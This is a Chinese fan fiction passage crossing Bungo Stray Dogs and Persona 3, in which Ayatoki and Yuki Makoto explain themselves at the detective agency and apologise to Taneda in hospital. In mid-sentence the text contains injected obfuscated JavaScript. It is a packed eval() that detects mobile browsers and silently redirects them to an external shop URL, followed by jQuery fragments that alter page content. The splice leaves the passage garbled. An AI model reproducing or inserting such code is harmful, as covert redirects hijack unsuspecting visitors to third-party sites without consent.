绫时和理到侦探社的时候，雪还没停。横滨的雪更湿，更重，落在地上很快就化了，变成灰黑色的水，顺着路沿往下淌。他们踩着那些水走过几条街，在侦探社楼下站了一会儿。楼还是那栋红砖楼，夹在商铺和民居之间，门口的牌子换了一块新的。
上一次他们是被赶出去的。
走上楼梯，门开着，里面很吵。国木田的声音最大，带着压抑的怒火：“——你们知不知道横滨现在什么情况？港口那边还在抢修，异能特务科的人来了三趟，三趟！问的都是那个叫结城理的人在哪里！你们让我怎么回答？我说我不知道？我说他刚走？我说——”
“国木田君，冷静。”太宰的声音从里面传出来，懒洋洋的，“人家还没上来呢，你吼给谁听。”
绫时站在门口。国木田站在桌边，手里拿着一沓文件，脸涨得通红。太宰懒洋洋地躺在沙发上，翘着二郎腿。乱步窝在椅子上，手里拿着一袋薯片，正往嘴里塞。敦坐在角落的沙发上，看到绫时，站起来想说什么，又坐回去了。镜花站在他旁边，手按在刀柄上，目光在绫时和理之间来回扫了一下。
其他人也都在。绫时走进去，理跟在后面。门关上了，风铃响了一声。
国木田转过身，看着他们。他的脸还是红的，但声音压下去了。“……你们来了。”
绫时点头。他站在那里，不知道该从哪里开始。他看了理一眼。理站在他旁边，那双灰色的眼睛里很平静，没有催促，也没有鼓励。
绫时深吸了一口气。“我有一些事情要解释。”他先说了种田长官——为什么刺伤他，什么时候刺伤的，怎么刺伤的。他说这些话的时候声音很平，像在念一份已经写好的稿子。国木田的手攥紧了，指节发白，但没有打断。太宰坐起来，闭着眼睛，像在听一个已经知道结局的故事。然后绫时说了魔人。说了吸血鬼，说了芥川，说了布拉姆。说了自己怎么被猎犬撵了一路，怎么在机场看到那个小姑娘从塔台上跳下来。敦的手指攥着衣角，指节发白。镜花的手从刀柄上放下来，放在膝盖上。
“所以……”绫时顿了顿，“我需要写一个故事。用书页。”他转向乱步。“乱步先生，您能帮我写吗？”
乱步看着他，没有说话。他把薯片放下，从椅子上坐直了。那双绿色的眼睛很亮。他没有说好，也没有说不好。他只是看着绫时，等他说下去。
绫时犹豫了一下，看了理一眼。理还是那个表情，没有说话。绫时深吸了一口气，把剩下的事也说了。他是什么，理是什么，门隔绝的是什么。为什么他要帮魔人，为什么他要刺伤种田，为什么他要在横滨闹事，为什么他要变成那个被所有人追着打的怪物。
他说这些话的时候，声音越来越低。不是不自信，是那些话从嘴里说出来的时候，他自己也觉得不太真实。他是塔纳托斯，是理的人格面具，是死亡的化身。理是封印，是挂在月亮上的人，是早就应该死了的人。他们在做的事情，是把一个灵魂从月亮上换下来。用一个特异点，去替理守那扇门。
房间里很安静。没有人说话。绫时说完之后，站在那里，不知道该说什么了。国木田的拳头松开了，又攥紧，又松开。他的脸不红了，变成了一种绫时看不太懂的颜色。敦从沙发上站起来，看着理。他的眼睛红了，但他没有哭。
乱步从椅子上跳下来，走到绫时面前，仰着头看他。“写什么？”
绫时愣了一下。“什么？”
“故事。你要我写什么？”
绫时张了张嘴。他其实没想过这个问题。他只知道自己需要写一个故事，用那半页书页，让置换可以顺利进行。但他不知道那个故事应该是什么样子的。他挠了挠头，不知道该说什么。乱步看着他，等了几秒，然后叹了口气。“算了，你想好了来找我吧。”他转身走回自己的位置，拿起薯片，又坐回去了。
绫时站在那里，不知道该不该说谢谢。他看了一眼太宰。太宰睁开眼睛，看着他，又看了一眼理，然后闭上眼睛，没有说话。
理主动开口。“还有一件事想请求帮忙。我们想去见种田长官，给他道歉。请问能帮忙安排一下吗？”
乱步没有回答。他看了太宰一眼。太宰睁开眼睛，点了点头。乱步把薯片塞进嘴里，咔嚓咬了一口。“知道了。”
下午，他们就被允许到医院探望。
绫时和理在走廊里站了很久。坂口安吾站在门口，戴着眼镜，穿着深色西装，和第一次见面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718427|205522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的时候一模一样。他看着绫时，又看着理，让他们在门口等。走廊里有其他安保人员，没有人说话。灯管嗡嗡响着，光线惨白。
门开了。安吾探出头来。“种田长官请你们进去。”
种田山头火还躺在病床上。他的脸色比之前差了很多，瘦了，眼窝凹下去，但那双眼睛还是很亮，很锐利。他看了一会儿站在门口的绫时。
绫时走进病房，理跟在后面。门关上了。安吾和其他人没有进来，房间里只有他们三个人。
绫时站在那里，不知道该说什么。他之前想过很多次这个场景——种田会骂他，会打他，会问他为什么要刺伤自己，会问他知不知道那一刀造成了什么后果。但现在种田只是坐在床边，看着他，等他开口。
先开口的是理：“对不起，种田长官。”
“对不起。”绫时紧跟着说。声音很轻。
种田看着绫时，看了很久。然后他说：“事情解决了？”
绫时点头。
“军警们怎么样了？有没有造成死亡？”
绫时愣了一下。他想起了魔人说的话，想起了布拉姆恢复力量之后把吸血鬼变回人类的新闻，想起了那些从街上走回来的人，他们揉着眼睛，像做了一场很长的梦。“我已经解除沉睡魔法了。布拉姆解决其他吸血鬼……应该是没有人死的。”
种田点了点头。他转过头，看着窗外。横滨的雪还在下，灰蒙蒙的，把远处的港口都遮住了。他看了一会儿，然后说：“那就好。”
他没有再问。绫时站在那里，不知道该不该走。理拉了一下他的袖子。绫时看着种田的身影，种田没有回头。“那我们就先不打扰您了。真的对不起。请您好好休息。”
绫时转身，和理一起走了出去。门关上了。安吾站在走廊里，看着他们，没有说话。绫时从他身边走过去的时候，安吾的声音从后面传来，语气很锐利，却带着一丝不易察觉的放行。“通缉的事情我们会解决……别再来了。”
绫时的脚步停顿了一下，但是他没有回头。他走下楼梯，推开门，走进雪里。雪落在他头发上，落在他肩膀上，落在他睫毛上。他没有擦。理站在他旁边，也没有擦。两个人站在那里，站了很久。